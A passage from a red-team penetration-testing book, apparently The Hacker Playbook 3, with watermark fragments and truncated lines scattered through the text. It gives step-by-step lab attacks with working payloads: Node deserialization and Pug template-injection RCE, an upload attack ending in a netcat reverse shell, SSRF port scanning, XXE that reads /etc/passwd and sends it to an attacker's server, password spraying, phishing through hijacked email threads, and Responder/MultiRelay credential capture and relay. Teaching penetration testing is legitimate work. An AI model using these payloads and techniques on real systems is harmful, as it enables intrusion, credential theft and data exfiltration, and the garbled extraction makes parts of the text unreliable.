raw JavaScript. If an attacker is able to inject JavaScript into this statement, they would
be able to have Remote Code Execution onto the server.
m
co
a.
Second, we need to create a serialized payload that will be deserialized and run through
eval with our JavaScript payload of require(‘child_process’).exec(‘ls’).
{“thp”:“_$$ND_FUNC$$_function (){require(‘child_process’).exec(‘DO
ag
SYSTEM COMMANDS HERE’, function(error, stdout, stderr) {
console.log(stdout) });}()”} rm
The JSON object above will pass the following request “()
{require(‘child_process’).exec(‘ls’)” into the eval statement within the unserialize
ba
function, giving us remote code execution. The last part to notice is that the ending
parenthesis was added “()” because without it our function would not be called. Ajin
Abraham, the original researcher who discovered this vulnerability, identified that using
n-
here: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941.
In our Chat Application example, we are going to look at the cookie value, which is being
le
m
co
a.
ag
rm
ba
n-
ar
As previously mentioned, every language has its unique oddities and NodeJS is no
different. In Node/Express/Pug, you are not able to write directly to the web directory and
have it accessible like in PHP. There has to be a specified route to a folder that is both
writable and accessible to the public internet.
le
{“thp”:“_$$ND_FUNC$$_function ()
{require(‘child_process’).exec(‘DO SYSTEM COMMANDS
HERE’, function(error, stdout, stderr) { console.log(stdout) });}
()”}
Example:
{“thp”:“_$$ND_FUNC$$_function ()
{require(‘child_process’).exec(‘echo node deserialization is
awesome!! >> /opt/web/chatSupportSystems/public/hacked.txt’,
function(error, stdout, stderr) { console.log(stdout) });}()”}
As the original Cookie was encoded, we will have to base64 encode our
payload via Burp Decoder/Encoder
Example Payload:
eyJ0aHAiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7cmVxdWlyZ
Log out, turn Burp intercept on, and relay a request for / (home)
Modify the cookie to the newly created Base64 payload
Forward the traffic and since the public folder is a route for /, you should be
m
able to open a browser and go to http://chat:3000/hacked.txt
You now have Remote Code Execution! Feel free to perform post
co
exploitation on this system. Start by trying to read /etc/passwd.
a.
ag
rm
ba
n-
ar
In the source for the node-serialize module, we see that the function expression is being
evaluated, which is a serious problem for any JavaScript/NodeJS application that does this
le
with user input. This poor practice allowed us to compromise this application.
w.
ww
References:
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-
bug-for-remote-code-execution/
https://github.com/luin/serialize
https://snyk.io/test/npm/node-serialize?
severity=high&severity=medium&severity=low
https://blog.websecurify.com/2017/02/hacking-node-serialize.html
Template Engine Attacks - Template Injections
m
Template engines are being used more often due to their modularity and succinct code
co
compared with standard HTML. Template injection is when user input is passed directly
into render templates, allowing modification of the underlying template. This can occur
intentionally in wikis, WSYWIG, or email templates. It is rare for this to occur
a.
unintentionally, so it is often misinterpreted as just XSS. Template injection often allows
the attacker to access the underlying operating system to obtain remote code execution.
ag
In our next example, you will be performing Template Injection attacks on our NodeJS
application via Pug. We are unintentionally exposing ourselves to template injection with
a meta redirect with user input, which is being rendered directly in Pug using template
rm
literals `${}`. It is important to note that template literals allow the use of newline
characters, which is required for us to break out of the paragraph tag since Pug is space-
and newline-sensitive, similar to Python.
ba
In Pug, the first character or word represents a Pug keyword that denotes a tag or
n-
function. You can specify multiline strings as well using indentation as seen below:
p.
ar
Here is an example of what HTML and Pug Template would look like:
w.
ww
m
co
a.
The example text above shows how it would look in HTML and how the corresponding
ag
Pug Markup language would look like. With templates and string interpolation, we can
create quick, reusable, and efficient templates rm
Template Injection Example
The Chat application is vulnerable to a template injection attack. In the following
application, we are going to see if we can interact with the Pug templating system. This
ba
can generally be done by checking if the input parameter we supply can process basic
operations. James Kettle wrote a great paper on attack templates and interacting with the
underlying template systems (http://ubm.io/2ECTYSi).
n-
Interacting with Pug:
ar
ga
ma
ar
n -b
ar
injection. This is because templates, like coding languages, can easily support evaluating
arithmetic operators.
w.
newlines start a fresh template input, which means if we can break out of the
current line in Pug, we can execute new Template code. In this case we are
going to break out of the paragraph tag (<p>), as shown above, and execute
n-
new malicious template code. For this to work, we are going to have to use
some URL encoding to exploit this vulnerability (http://bit.ly/2qxeDiy).
Let’s walk through each of the requirements to perform template injection:
ar
First, we need to trigger a new line and break out of the current
template. This can be done with the following character:
%0a new line
le
[newline]=9*9
URL Coded:
GET /ti?user=%0a%3d9*9&comment=&link=
/ti?user=%0a%3d9*9 gives us 81 in the response body. You have identified
template injection in the user parameter! Let’s get remote code execution by
abusing JavaScript.
m
co
a.
ag
rm
As you can see in the response, instead of the name of the user, we have “81” outside the
paragraph tags! This means we were able to inject into the template.
ba
We now know that we have some sort of template injection and that we are able to
n-
perform simple calculations, but we need to see if we can get shell execution. To get shell
execution, we have to find the right function to perform execution in Node/JavaScript.
First, we will identify the self global object root and proceed with determining
ar
which modules and functions we have access to. We want to eventually use
the Require function to import the child_process .exec to run operating system
commands. In Pug, the “=” character allows us to output the JavaScript
le
p= index
URL Encoded:
%0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69
n
In the above example, we are using the ‘each’ iterator which can access a
ar
value and optionally access an index if we specify for either arrays or objects.
We are trying to find what objects, methods, or modules we have access to in
the global object. Our ultimate goal is to find something like the “require”
le
ww
om
.c
ga
Finding the Code Execution Function:
ma
From the previous request, we saw all the objects within global and one that
was named “process”. Next, we need to identify interesting objects we have
access to within global.process:
r
each val,index in global.process
p= index
ba
URL Encoded:
%0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%
We chose “process” out of all the available methods because we knew it
n-
would eventually lead to ‘require’. You can try the trial and error process by
choosing different methods to iterate through:
each val,index in global.process.mainModule
ar
p= index
URL Encoded:
%0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69
le
w.
ww
Remote Code Execution:
Sending this final payload, we should see the “require” function within
global.process.mainModule. We can now set this to import a ‘child_process’
with .exec to obtain RCE:
- var x = global.process.mainModule.require
- x(‘child_process’).exec(‘cat /etc/passwd >>
m
/opt/web/chatSupportSystems/public/accounts.txt’)
co
URL Encoded:
%0a%2d%20%76%61%72%20%78%20%3d%20%67%6c%6f%62%61%
In the above example, we are defining a variable “x” like we would in
a.
JavaScript, but the dash at the beginning of the line denotes an unbuffered
output (hidden). We are using the global object with the modules that we
needed to eventually get ‘require’, which allows us to use ‘child_process’
ag
.exec to run system commands.
We are outputting the contents of /etc/passwd to the web public root directory,
which is the only directory we have write access to (as designed by the app
creators), allowing the user to view the contents. We could also do a reverse
rm
shell or anything else allowable with system commands.
We can see http://chat:3000/accounts.txt will contain the contents of
/etc/passwd from the web server.
ba
Use this to perform a full RCE on the system and get a shell back.
n-
ar
le
w.
ww
Now, can we automate a lot of this? Of course we can. A tool called Tplmap
(https://github.com/epinna/tplmap) runs similar to SQLmap in that it tries all the different
combinations of template injections:
cd /opt/tplmap
./tplmap.py -u “http://chat:3000/ti?user=*&comment=asdfasdf&link=”
m
co
Reference:
a.
http://blog.portswigger.net/2015/08/server-side-template-injection.html
https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/
ag
JavaScript and Remote Code Execution
Remote code execution is what we look for in every assessment and web application
rm
penetration test. Although RCEs can be found just about everywhere, they are most
commonly found in places that allow uploads, such as: uploading a web shell, an exploit
like Imagetragick (https://imagetragick.com/), XXE attacks with Office Files, directory
ba
Traditionally, we might try to find an upload area and a shell that we could utilize. A great
list of different types of webshell payloads can be found here:
https://github.com/tennc/webshell. Please note, I am in no way vetting any of these shells
—use them at your own risk. I have run into a lot of web shells that I found on the
ar
In our lab, we are going to perform an upload RCE on a Node application. In our
example, there is a file upload feature that allows any file upload. Unfortunately, with
Node, we can’t just call a file via a web browser to execute the file, like in PHP. So, in
w.
this case, we are going to use a dynamic routing endpoint that tries to render the contents
of Pug files. The error lies in the fact that the endpoint will read the contents of the file
assuming it is a Pug file since the default directory exists within the Views directory. Path
ww
traversal and Local File read vulnerabilities also exist on this endpoint.
m
co
During the upload process, the file handler module will rename the file to a random string
of characters with no extension. Within the upload response contents of the page, there
exists the server path location of the uploaded file. Using this information, we can use
a.
/drouting to perform template injection to achieve remote code execution.
ag
Since we know the underlying application is Node (JavaScript), what kind of payload
could we upload to be executed by Pug? Going back to the simple example that we used
earlier:
rm
First, assign a variable to the require module
-var x = global.process.mainModule.require
Use of the child process module enables us to access Operating System
ba
RCE Upload Attack:
Go to http://chat:3000 and login with any valid account
ar
Upload a text file with the information below. In Pug the “-” character means
to execute JavaScript.
-var x = global.process.mainModule.require
le
reference to drouting.
ww
om
.c
ga
r ma
ba
code will cause the web server to connect to our listener running on [Your_IP]
on port 8888 and allow us to have shell on the web server.
On the attacker machine, start a netcat listener for the shell to connect back
nc -l -p 8888
ar
Go back to your terminal listening on 8888 and interact with your shells!
m
co
a.
ag
rm
Server Side Request Forgery (SSRF)
Server Side Request Forgery (SSRF) is one of those vulnerabilities that I feel is generally
misunderstood and, terminology-wise, often confused in name with Cross-Site Request
ba
Forgery (CSRF). Although this vulnerability has been around for a while, it really hasn’t
been discussed enough, especially with such severe consequences. Let’s take a look into
the what and why.
n-
Server Side Request Forgery is generally abused to gain access onto the local system, into
ar
the internal network, or to allow for some sort of pivoting. The easiest way to understand
SSRF is walking through an example. Let’s say you have a public web application that
allows users to upload a profile image by URL from the Internet. You log into the site, go
le
to your profile, and click the button that says update profile from Imgur (a public image
hosting service). You supply the URL of your image (for example:
https://i.imgur.com/FdtLoFI.jpg) and hit submit. What happens next is that the server
creates a brand new request, goes to the Imgur site, grabs the image (it might do some
w.
We originally supplied the URL to the web application to grab our profile picture from an
external resource. However, what would happen if we pointed that image URL to
http://127.0.0.1:80/favicon.ico instead? This would tell the server instead of going to
something like Imgur, to grab the favicon.ico from the local host webserver (which is
itself). If we are able to get a 200 message or make our profile picture the localhost
favicon, we know we potentially have an SSRF.
Since it worked on port 80, what would happen if we tried to connect to
http://127.0.0.1:8080, which is a port not accessible except from localhost? This is where
it gets interesting. If we do get full HTTP request/responses back and we can make GET
requests to port 8080 locally, what happens if we find a vulnerable Jenkins or Apache
Tomcat service? Even though this port isn’t publicly listening, we might be able to
compromise that box. Even better, instead of 127.0.0.1, what if we started to request
m
internal IPs: http://192.168.10.2-254? Think back to those web scanner findings that
came back with internal IP disclosures, which you brushed off as lows—this is where they
co
come back into play and we can use them to abuse internal network services.
a.
An SSRF vulnerability enables you to do the following:
1. Access services on loopback interface
2. Scan the internal network and potentially interact with those services
ag
(GET/POST/HEAD)
3. Read local files on the server using FILE://
4. Abuse AWS Rest interface (http://bit.ly/2ELv5zZ)
rm
5. Move laterally into the internal environment
ba
In our following diagram, we are finding a vulnerable SSRF on a web application that
allows us to abuse the vulnerability:
n-
ar
le
w.
ww
m
to localhost. Notice that the page renders and that we are now accessing the
site via localhost on the vulnerable server.
co
a.
ag
rm
ba
n-
We know that the application itself is listening on port 3000. We can nmap the box from
the outside and find that no other web ports are currently listening, but what services are
ar
only available to localhost? To find this out, we need to bruteforce through all the ports
for 127.0.0.1. We can do this by using Burp Suite and Intruder.
le
In Burp Suite, go to the Proxy/HTTP History Tab and find the request of our
last SSRF.
Right-click in the Request Body and Send to Intruder.
w.
The Intruder tab will light up, go to the Positions Tab and click Clear.
Click and highlight over the port “3000” and click Add. Your GET request
should look like this:
ww
GET /ssrf?user=&comment=&link=http://127.0.0.1:§3000§
HTTP/1.1
Click the Payloads tab and select Payload Type “Numbers”. We will go from
ports 28000 to 28100. Normally, you would go through all of the ports, but
let’s trim it down for the lab.
From: 28000
To: 28100
Step: 1
Click “Start Attack”
m
co
a.
ag
rm
ba
r n-
l ea
w.
You will see that the response length of port 28017 is much larger than all the other
ww
user=&comment=&link=http://127.0.0.1:28017/serverStatus?text=1.
n-
ar
le
w.
ww
Server Side Request Forgery can be extremely dangerous. Although not a new
vulnerability, there is an increasing amount of SSRF vulnerabilities that are found these
days. This usually leads to certain critical findings due to the fact that SSRFs allow
pivoting within the infrastructure.
Additional Resources:
Lots on encoding localhost:
http://www.agarri.fr/docs/AppSecEU15-
Server_side_browsing_considered_harmful.pdf
Bug Bounty - AirBNB
Example: http://bit.ly/2ELvJxp
om
XML eXternal Entities (XXE)
XML stands for eXtensible Markup Language and was designed to send/store data that is
easy to read. XML eXternal Entities (XXE) is an attack on XML parsers in applications.
.c
XML parsing is commonly found in applications that allow file uploads, parsing Office
documents, JSON data, and even Flash type games. When XML parsing is allowed,
improper validation can grant an attacker to read files, cause denial of service attacks, and
ga
even remote code execution. From a high level, the application has the following needs 1)
to parse XML data supplied by the user, 2) the system identifier portion of the entity must
be within the document type declaration (DTD), and 3) the XML processor must
validate/process DTD and resolve external entities.
ma
ar
Normal XML File Malicious XML
encoding=“ISO-8859-1”?> encoding=“utf-8”?>
<Prod> <!DOCTYPE test [
<Type>Book</type>
n
<id>100</id> ]>
</Prod> <xxx>&xxe;</xxx>
le
w.
Above, we have both a normal XML file and one that is specially crafted to read from the
system’s /etc/passwd file. We are going to see if we can inject a malicious XML request
within a real XML request.
ww
XXE Lab:
Due to a custom configuration request, there is a different VMWare Virtual Machine for
the XXE attack. This can be found here:
http://thehackerplaybook.com/get.php?type=XXE-vm
Once downloaded, open the virtual machine in VMWare and boot it up. At the login
screen, you don’t need to login, but you should see the IP address of the system.
Go to browser:
Proxy all traffic through Burp Suite
Go to the URL: http://[IP of your Virtual Machine]
m
Intercept traffic and hit “Hack the XML”
co
If you view the HTML source code of the page after loading it, there is a hidden field that
is submitted via a POST request. The XML content looks like:
a.
<?xml version=“1.0” ?>
<!DOCTYPE thp [
ag
<!ELEMENT thp ANY>
<!ENTITY book “Universe”> rm
]>
<thp>Hack The &book;</thp>
ba
In this example, we specified that it is XML version 1.0, DOCTYPE, specified the root
element is thp, !ELEMENT specifies ANY type, and !ENTITY sets the book to the string
n-
“Universe”. Lastly, within our XML output, we want to print out our entity from parsing
the XML file.
ar
This is normally what you might see in an application that sends XML data. Since we
control the POST data that has the XML request, we can try to inject our own malicious
le
entities. By default, most XML parsing libraries support the SYSTEM keyword that
allows data to be read from a URI (including locally from the system using the file://
protocol). So we can create our own entity to craft a file read on /etc/passwd.
w.
XXE Lab - Read File:
Intercept traffic and hit “Hack the XML” for [IP of Your VM]/xxe.php
Send the intercepted traffic to Repeater
Modify the “data” POST parameter to the following:
m
<?xml version=“1.0” ?><!DOCTYPE thp [ <!ELEMENT thp
co
ANY><!ENTITY book SYSTEM “file:///etc/passwd”>]>
<thp>Hack The %26book%3B</thp>
Note that %26 = & and %3B = ;. We will need to percent encode the
a.
ampersand and semicolon character.
Submit the traffic and we should be able to read /etc/passwd
ag
rm
- ba
rn
ea
data to send Out Of Band (OOB)? Instead of defining our attack in the request payload,
we can supply a remote Document Type Definition (DTD) file to perform an OOB-XXE.
A DTD is a well-structured XML file that defines the structure and the legal elements and
w
attributes of an XML document. For sake of ease, our DTD will contain all of our
attack/exfil payloads, which will help us get around a lot of the character limitations. In
ww
our lab example, we are going to cause the vulnerable XXE server to request a DTD
hosted on a remote server.
Our new XXE attack will be performed in four stages:
Modified XXE XML Attack
For the Vulnerable XML Parser to grab a DTD file from an Attacker’s Server
DTD file contains code to read the /etc/passwd file
DTD file contains code to exfil the contents of the data out (potentially
encoded)
Setting up our Attacker Box and XXE-OOB Payload:
Instead of the original File Read, we are going to specify an external DTD file
<!ENTITY % dtd SYSTEM “http://[Your_IP]/payload.dtd”>
om
%dtd;
The new “data” POST payload will look like the following (remember to
change [Your_IP]):
.c
<?xml version=“1.0”?><!DOCTYPE thp [<!ELEMENT thp ANY
><!ENTITY % dtd SYSTEM “http://[YOUR_IP]/payload.dtd”>
%dtd;]><thp><error>%26send%3B</error></thp>
ga
We are going to need to host this payload on our attacker server by creating a
file called payload.dtd
gedit /var/www/html/payload.dtd
<!ENTITY % file SYSTEM “file:///etc/passwd”>
a
<!ENTITY % all “<!ENTITY send SYSTEM
rm
‘http://[Your_IP]:8888/collect=%file;’>”>
%all;
The DTD file you just created instructs the vulnerable server to read
ba
/etc/passwd and then try to make a web request with our sensitive data back to
our attacker machine. To make sure we receive our response, we need to spin
up a web server to host the DTD file and set up a NetCat listener
n-
nc -l -p 8888
You are going to run across an error that looks something like the following:
simplexml_load_string(): parser error : Detected an entity reference loop in
<b>/var/www/html/xxe.php</b> on line <b>20. When doing XXE attacks, it
ar
is common to run into parser errors. Many times XXE parsers only allow
certain characters, so reading files with special characters will break the
parser. What we can do to resolve this? In the case with PHP, we can use
le
feature:
<!ENTITY % file SYSTEM “php://filter/read=convert.base64-
encode/resource=file:///etc/passwd”>
ww
a.
grabs the payload.dtd file, processes it, and makes a secondary web request to your NetCat
handler listening on port 8888. Of course, the GET request will be base64 encoded and
we will have to decode the request.
ag
More XXE payloads:
rm
https://gist.github.com/staaldraad/01415b990939494879b4
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/XXE-
Fuzzing.txt
ba
n-
ar
le
w.
ww
Conclusion
Although this is only a small glimpse of all the different web attacks you may encounter,
the hope was to open your eyes to how these newer frameworks are introducing old and
new attacks. Many of the common vulnerability and application scanners tend to miss a
lot of these more complex vulnerabilities due to the fact that they are language or
framework specific. The main point I wanted to make was that in order to perform an
m
adequate review, you need to really understand the language and frameworks.
co
a.
ag
rm
ba
n-
ar
le
w.
ww
4 the drive - compromising the network
m
co
a.
ag
rm
ba
rn-
lea
w.
ww
On day two of your assessment, you ran nmap on the whole network, kicked off
vulnerability scanners with no luck, and were not able to identify an initial entry point on
any of their web applications. Slightly defeated, you take a step back and review all your
reconnaissance notes. You know that once you can get into the network, there are a
myriad of tricks you can use to obtain more credentials, pivot between boxes, abuse
features in Active Directory, and find the space loot we all crave. Of course, you know
m
that it won’t be an easy task. There will be numerous trip wires to bypass, guards to
misguide, and tracks to cover.
co
In the last THP book, The Drive section focused on using findings from the vulnerability
a.
scanners and exploiting them. This was accomplished using tools like Metasploit, printer
exploits, Heartbleed, Shellshock, SQL injections, and other types of common exploits.
More recently, there have been many great code execution vulnerabilities like Eternal Blue
ag
(MS017-10), multiple Jenkins exploits, Apache Struts 2, CMS applications, and much
more. Since this is the Red Team version of THP, we won’t focus extensively on how to
use these tools or exploits for specific vulnerabilities. Instead, we will focus on how to
rm
abuse the corporate environments and live off of the land.
ba
In this chapter, you will be concentrating on Red Team tactics, abusing the corporate
infrastructure, getting credentials, learning about the internal network, and pivoting
between hosts and networks. We will be doing this without ever running a single
vulnerability scanner.
n-
ar
le
w.
ww
Finding Credentials from Outside the Network
As a Red Teamer, finding the initial entry point can be complex and will require plenty of
resources. In the past books, we have cloned our victim’s authentication pages, purchased
doppelganger domains, target spear phished, created custom malware, and more.
om
Sometimes, I tell my Red Teams to just … keep it simple. Many times we come up with
these crazy advanced plans, but what ends up working is the most basic plan. This is one
of the easiest…
.c
One of the most basic techniques that has been around is password bruteforcing. But, as
ga
Red Teamers, we must look at how to do this smartly. As companies grow, they require
more technologies and tools. For an attacker, this definitely opens up the playing field.
When companies start to open to the internet, we start to see authentication required for
email (i.e. Office 365 or OWA), communication (i.e. Lync, XMPP, WebEx) tools,
ma
collaboration tools (i.e. JIRA, Slack, Hipchat, Huddle), and other external services (i.e.
Jenkins, CMS sites, Support sites). These are the targets we want to go after.
ar
The reason we try to attack these servers/services is because we are looking for
applications that authenticate against the victim’s LDAP/Active Directory (AD)
-b
email and username accounts, which we will use to attack through what is called Password
Spraying. We are going to target all the different applications and try to guess basic
ar
passwords as we’ve seen this in real world APT style campaigns (US-CERT Article:
http://bit.ly/2qyB9rb)
le
Why should we test authentication against different external services?
Some authentication sources do not log attempts from external services
w.
m
cyberspacekittens (which doesn’t exist anymore) and when it got to peter with password
co
Spring2018, it found a successful attempt (you can tell by the data length).
A question I often get involves which passwords to try, as you only get a number of
a.
password attempts before you lock out an account. There is no right answer for this and is
heavily dependent on the company. We used to be able to use very simple passwords like
“Password123”, but those have become more rare to find. The passwords that do
ag
commonly give us at least one credential are:
Season + Year rm
Local Sports Team + Digits
Look at older breaches, find users for the target company and use similar
passwords
Company name + Year/Numbers/Special Characters (!, $, #, @)
ba
If we can get away with it, we run these scans 24/7 slowly, as not to trigger any account
n-
lockouts. Remember, it only takes one password to get our foot in the door!
ar
le
w.
Configuring Spray is pretty simple and can be easily converted for other applications.
What you need to do is capture the POST request for a password attempt (you can do this
in Burp Suite), copy all the request data, and save it to a file. For any fields that will be
bruteforced, you will need to supply the string “sprayuser” and “spraypassword”.
For example, in our case the post-request.txt file would look like the following:
POST /owa/auth.owa HTTP/1.1
Host: mail.cyberspacekittens.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
m
Accept-Encoding: gzip, deflate
co
Referer: https://mail.cyberspacekittens.com/owa/auth/logon.aspx?
replaceCurrent=1&url=https%3a%2f%2ffanyv88.com%3a443%2fhttps%2fmail.cyberspacekittens.com%2fowa%2f
Cookie: ClientId=VCSJKT0FKWJDYJZIXQ; PrivateComputer=true; PBack=0
a.
Connection: close
Upgrade-Insecure-Requests: 1
ag
Content-Type: application/x-www-form-urlencoded
Content-Length: 131 rm
destination=https%3A%2F%2Ffanyv88.com%3A443%2Fhttps%2Fcyberspacekittens.com%2Fowa%2F&flags=4&forcedownlev
ba
As mentioned before, one additional benefit of spray.sh is that it supports SMB and Lync
as well. Another tool that takes advantage of and abuses the results from Spraying is
n-
The first feature we can abuse is similar to the Spray tool, which bruteforces through users
and passwords. Ruler will take in a list of usernames and passwords, and attempt to find
credentials. It will automatically try to autodiscover the necessary Exchange
w.
./passwords.txt
Once we find a single password, we can then use Ruler to dump all the users in the O365
Global Address List (GAL) to find more email addresses and the email groups to which
they belong.
m
Taking these email addresses, we should be able to send all these accounts through the
co
bruteforce tool and find even more credentials—this is the circle of passwords. The main
purpose of the Ruler tool though, is that once you have credentials, you can abuse
“features” in Office/Outlook to create rules and forms on a victim’s email account. Here
is a great write-up from SensePost on how they were able to abuse these features to
a.
execute Macros that contain our Empire payload:
https://sensepost.com/blog/2017/outlook-forms-and-shells/.
ag
If you don’t decide to use the Outlook forms or if the features have been disabled, we can
always go back to the good ol’ attacks on email. This is where it does make you feel a
rm
little dirty, as you will have to log in as one of the users and read all their email. After we
have a couple good chuckles from reading their emails, we will want to find an existing
conversation with someone who they seem to trust somewhat (but not good friends).
ba
Since they already have a rapport built, we want to take advantage of that and send them
malware. Typically, we would modify one of their conversations with an attachment (like
an Office file/executable), resend it to them, but this time with our malicious agent. Using
n-
these trusted connections and emails from internal addresses provides great cover and
success.
r
One point I am going to keep mentioning throughout the book is that the overall campaign
ea
is built to test the Blue Teams on their detection tools/processes. We want to do certain
tasks and see if they will be able to alert or be able to forensically identify what happened.
For this portion of the lab, I love validating if the company can determine that someone is
l
exfiltrating their users’ emails. So, what we do is dump all of the compromised emails
using a Python script: https://github.com/Narcolapser/python-o365#email. In many cases,
w.
Advanced Lab
ww
A great exercise would be to take the different authentication type services and test them
all for passwords. Try and build a password spray tool that tests authentication against
XMPP services, common third-party SaaS tools, and other common protocols. Even
better would be to do this from multiple VPS boxes, all controlled from a single master
server.
Moving Through the Network
As a Red Teamer, we want to move through the network as quietly as possible. We want
to use “features” that allow us to find and abuse information about the network, users,
services, and more. Generally, on a Red Team campaign, we do not want to run any
vulnerability scans within an environment. There are even times where we might not even
want to run a nmap scan against an internal network. This is because many companies
om
have gotten pretty good at detecting these types of sweeps, especially when running
something as loud as a vulnerability scanner.
.c
In this section, you will be focusing on moving through Cyber Space Kittens’ network
without setting off any detections. We will assume you have already somehow gotten
ga
onto the network and started to either look for your first set of credentials or have a shell
on a user’s machine.
The only way to really learn how to attack environments it to fully build it out yourself.
This gives you a much clearer picture of what you are attacking, why the attacks work or
n-
fail, and understand limitations of certain tools or processes. So what kind of lab do you
need to build? You will probably need one for both Windows and Linux (and maybe even
Mac) based on your client’s environment. If you are attacking corporate networks, you
ar
will probably have to build out a full Active Directory network. In the following lab, we
will go over how to build a lab for all the examples in this book.
le
An ideal Windows testing lab for you to create at home might look something like the
following:
w.
om
Set up Client Machines (Windows 7/10) to Join the Domain:
.c
Update all machines
Join the machines to the Domain
https://helpdeskgeek.com/how-to/windows-join-domain/
ga
Make sure to add one domain user with the ability to run as local
administrator on each box. This can be accomplished by adding that domain
user to the local administrators group on the local machine.
Enable local administrator on each host and set password
ma
Set up GPO to:
ar
Disable Firewall (https://www.youtube.com/watch?v=vxXLJSbx1SI)
Disable AV (http://bit.ly/2EL0uTd)
Disable Updates
b
Set all users for each OS to autologin (it just makes life much easier for testing). Every
time a machine starts or reboots, it will autologin so that we can easily test attacks that
le
logon-in-windows
Bit.ly Link: http://bit.ly/2EKatIk
ww
m
follow them in … no questions asked!
co
Now that you have broken into the CSK facility, you don’t want to get caught by staying
there too long. You pull out your trusty drop box, find an empty office, plug it into the
a.
network, check your phone to see that it beaconed home, and swiftly walk back to safety.
ag
Slightly sweating at home, you quickly jump onto your laptop, log into your VPN server,
and give a sigh of relief as your drop box beacons are still connecting home. Now that
you can SSH into your drop box, which contains all your hacker tools, you can slowly
rm
discover the client’s network, pivot between boxes, and try to get to the data you care
about.
ba
Responder
Just like in the previous campaign, we used Responder
n-
Local Multicast Name Resolution (LLMNR for short) and the Net-BIOS Name Service
(NBT-NS) for fallback name resolution. When that victim PC fails the DNS lookup, the
victim starts asking anyone on the network if they know the resolution for that hostname.
le
An easy and general example: let’s say your PC has a fixed mounted drive for
w.
find; however, because there is a high likelihood that a previously connected system no
longer exists on the network, this issue will still occur. We have seen this from mounted
drives, applications that have hardcoded servers, and many times, just misconfigurations.
We can use a tool like Responder to take advantage of those systems looking for a
hostname and respond to it with our malicious server. Even better is that Responder can
go a step above and act as a WPAD (Web Proxy Auto-Discovery Protocol) server,
proxying all data through our attacker server, but that is a whole other attack.
cd /opt/Responder
./Responder.py -I eth0 -wrf
Now, since we are in a Windows Enterprise Environment, we can make the assumption
m
that it most likely is running Active Directory. So, if we can respond to the DNS lookup
co
from our victim host, we can make their system connect to our SMB share. Since they are
connecting to the drive \cyberspacekittenssecretdrive, we are going to force the victim to
authenticate with their NTLMv2 credentials (or cached credentials). These credentials
a.
that we capture will not be straight NTLM hashes, but they will be NTLM
Challenge/Response hashes (NTLMv2-SSP). The only issue with these hashes is that they
are immensely slower to crack than the normal NTLM hashes, but this isn’t a huge
problem these days with large cracking boxes at our disposal (see cracking section).
ag
rm
ba
n-
ar
le
w.
We can take the NTLMv2 hash, pass it over to hashcat, and crack the passwords. Within
hashcat, we need to specify the hash format “-m” (https://hashcat.net/wiki/doku.php?
id=example_hashes) for NetNTLMv2.
ww
m
co
a.
ag
rm
ba
As you can see from the image above, the user will be prompted for a username and
password, which most people will just blindly enter. Once they submit their credentials,
we will be able to capture them in clear text!
n-
ar
le
Better Responder (MultiRelay.py)
w.
The problem with Responder and cracking NTLMv2-SSP hashes is that the time it takes to
crack these hashes can be extensive. Worse, we have been in environments where the
passwords for administrators are 20+ characters. So, what can we do in these scenarios?
If the environment does not enforce SMB signing (which we can find with a quick nmap
ww
m
our choice. Of course, that relayed user will need to have access into that other machine;
co
however, if successful, we don’t need to deal with any passwords or cracking. To get
started, we need to configure our Responder and MultiRelay:
Edit the Responder config file to disable SMB and HTTP servers
a.
gedit Responder.conf
Change SMB and HTTP to Off
Start Responder
ag
python ./Responder.py -I eth0 -rv
Start MultiRelay in a New Terminal Window
/opt/Responder/tools
rm
./MultiRelay.py -t <target host> -c <shell command> -u ALL
ba
Once the Relay to a victim host is achievable, we need to think about what we want to
execute on our victim workstation. By default, MultiRelay can spawn a basic shell, but
we can also automatically execute Meterpreter PowerShell payloads, Empire PowerShell
payloads, our dnscat2 PowerShell payload, PowerShell Scripts to Download and Execute
n-
References
http://threat.tevora.com/quick-tip-skip-cracking-responder-hashes-and-replay-
them/
PowerShell Responder
Once we compromise a Windows system, we can use PowerShell off our victim to do
Responder style attacks. Both features of the original Responder can be performed
m
through the following two tools:
co
Inveigh - https://github.com/Kevin-
Robertson/Inveigh/blob/master/Scripts/Inveigh.ps1
Inveigh-Relay
a.
To make things even easier, all this is already built into Empire.
ag
rm
ba
n-
ar
le
w.
ww
User Enumeration Without Credentials
Once on the network, we might be able to use Responder to get credentials or shells, but
there are also times when both SMB signing is enabled and cracking NTLMv2 SSP isn’t
viable. That is when we take a step back and start with the basics. Without actively
scanning the network yet, we need to get a list of users (could be for password spraying or
even social engineering).
co
One option is to start enumerating users against the Domain Controller. Historically (back
in the 2003 era), we could try to perform RID cycling to get a list of all user accounts.
Although this is no longer available, there are other options to bruteforce accounts. One
a.
option is to abuse Kerberos:
nmap -p88 —script krb5-enum-users —script-args krb5-enum-
ag
users.realm=“cyberspacekittens.local”,userdb=/opt/userlist.txt <Domain
Controller IP>
rm
ba
n-
ar
le
We will need to supply a list of usernames to test, but since we are only querying the DC
w.
and not authenticating it, this activity is generally not detected. Now, we can take these
user accounts and start password spraying again!
